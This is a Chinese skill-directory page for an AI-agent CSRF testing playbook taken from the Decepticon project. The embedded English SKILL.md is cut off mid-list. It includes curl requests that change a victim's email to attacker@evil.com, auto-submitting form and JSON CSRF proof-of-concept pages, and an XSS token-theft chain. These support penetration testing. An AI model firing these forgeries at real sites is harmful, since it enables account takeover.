csrf
它能做什么
这项技能指导智能体检查网页应用的账户操作是否受到跨站请求伪造的保护。适合审查账户更改的安全测试人员。
适用场景
- ✓当你想检查其他网站能否触发密码或邮箱更改时。
- ✓当安全审查需要确认表单是否检查每次请求的令牌时。
- ✓当你需要测试 SameSite 或 Origin 检查能否保护账户操作时。
技能链接
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/csrf/SKILL.md复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。
使用方法
最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。
可直接粘贴的消息
适用于 Claude Code、Codex 或 Cursor:在项目文件夹中运行,即可安装该技能。
下载 SKILL.md,放进智能体的技能文件夹。
可以这样问 AI
“请帮我检查,我的应用中的邮箱更改表单能否从其他网站提交?”
每周 5 个新技能,1 分钟读完。
工作原理
智能体在没有令牌或使用错误令牌的情况下重放一个真实的已登录请求,并检查服务器是否仍然接受它。
技术内容(原始 SKILL.md)
作者在 GitHub 上的英文原文。
CSRF Playbook
Any state-changing endpoint (POST/PUT/DELETE, or GET with side effects) that trusts ambient cookies and lacks a per-request unguessable token is forgeable. Severity scales with the action: password/email change, fund transfer, role grant → account takeover (Critical). Read-only CSRF (no state change) → Info.
1. Detection — is the endpoint actually protected?
# Capture a real authenticated request first, then replay WITHOUT the token / Origin / Referer
COOKIE='session=...; remember=...'
# (a) Strip CSRF token — does it still succeed?
curl -s -o /dev/null -w "no-token=%{http_code}\n" -X POST "https://<TARGET>/account/email" \
-H "Cookie: $COOKIE" -H "Content-Type: application/x-www-form-urlencoded" \
--data "email=attacker@evil.com"
# (b) Send a clearly invalid token — is it validated?
curl -s -o /dev/null -w "junk-token=%{http_code}\n" -X POST "https://<TARGET>/account/email" \
-H "Cookie: $COOKIE" -H "Content-Type: application/x-www-form-urlencoded" \
--data "csrf=AAAAAAAA&email=attacker@evil.com"
# (c) Swap another user's token in (token-not-bound-to-session)
curl -s -o /dev/null -w "other-token=%{http_code}\n" -X POST "https://<TARGET>/account/email" \
-H "Cookie: $COOKIE" --data "csrf=<TOKEN_FROM_ANOTHER_ACCOUNT>&email=attacker@evil.com"
# (d) Origin / Referer header validation
curl -s -o /dev/null -w "no-origin=%{http_code}\n" -X POST "https://<TARGET>/account/email" \
-H "Cookie: $COOKIE" -H "Origin: https://evil.com" --data "csrf=<TOKEN>&email=attacker@evil.com"
# (e) Method override (POST → GET, or X-HTTP-Method-Override)
curl -s -o /dev/null -w "method-override=%{http_code}\n" \
"https://<TARGET>/account/email?email=attacker@evil.com" -H "Cookie: $COOKIE"
HTTP 200/302 on (a)-(e) = protection missing or trivially bypassable.
2. Bypass / misconfig matrix
| Class | Server flaw | Bypass |
|---|---|---|
| Token absent | no token at all | direct cross-origin form POST |
| Token not validated | header sent but never checked | send empty / random token |
| Token not bound to session | token from another account works | mint a token in attacker account, use against victim |
| Predictable token | sequential / timestamp / md5(userid) | precompute |
| Token in URL | leaks via Referer / logs / shoulder | steal then replay |
| Method-override | _method=POST, X-HTTP-Method-Override: POST |
turn protected POST into a GET CSRF |
| JSON CSRF | accepts Content-Type: application/json from forms |
submit form with enctype=text/plain + crafted body, or use fetch |
| Content-type bypass | only validates token when CT=application/x-www-form-urlencoded |
switch to text/plain or multipart/form-data |
| SameSite=Lax gap | top-level GET still sends cookie | GET-based state change, or <form method=POST> triggered by user click |
| SameSite=None | no protection at all | classic cross-site form |
| Missing on subset | only /admin/* protected |
unprotected sister endpoint (/api/v1/email) |
| Login CSRF | login endpoint has no token | force victim into attacker's account → captures victim activity |
| Logout CSRF | logout has no token | denial-of-service / phishing reset |
| Double-submit cookie flaw | cookie not __Host- prefixed / set from any subdomain |
XSS on subdomain plants the cookie + matching body value |
| Referer-only check | header strippable | <meta name="referrer" content="no-referrer"> on attacker page |
3. Exploit PoC
3.1 Classic form CSRF (auto-submit)
<!-- host on attacker origin; victim is logged into <TARGET> -->
<form id="x" action="https://<TARGET>/account/email" method="POST">
<input name="email" value="attacker@evil.com">
</form>
<script>document.getElementById('x').submit();</script>
3.2 JSON CSRF via text/plain
<form action="https://<TARGET>/api/account" method="POST" enctype="text/plain">
<input name='{"email":"attacker@evil.com","ignore":"' value='"}'>
</form>
<script>document.forms[0].submit();</script>
3.3 CSRF via XSS (defeats double-submit / SameSite)
// runs as same-origin via XSS on <TARGET>
fetch('/account/csrf-token').then(r => r.text()).then(t => {
fetch('/account/email', {
method: 'POST', credentials: 'include',
headers: {'Content-Type':'application/x-www-form-urlencoded','X-CSRF-Token': t},
body: 'email=attacker@evil.com'
});
});
4. Chains
- CSRF → ATO: change email → password reset → full takeover.
- Login CSRF → activity capture: victim
常见问题
什么是 CSRF 测试?
它检查即使请求来自其他网站,服务器是否仍会接受已登录用户的操作。
它也涵盖登录吗?
是的,该技能提到登录和注销的 CSRF 也在其涵盖范围内。
CSRF 漏洞有多严重?
该技能指出,当它可以让人更改密码、邮箱、资金或角色时最为严重。
详情
作者的原始描述
Cross-Site Request Forgery — missing/invalid tokens, method override, JSON CSRF, SameSite gaps, double-submit flaws, login/logout CSRF, and CSRF-via-XSS chains to account takeover.
热度
- GitHub 星标
- 6.5k
- 排名
- #14057
- 许可证
- Apache-2.0
- 更新时间
- 2026/11/1
评论
- …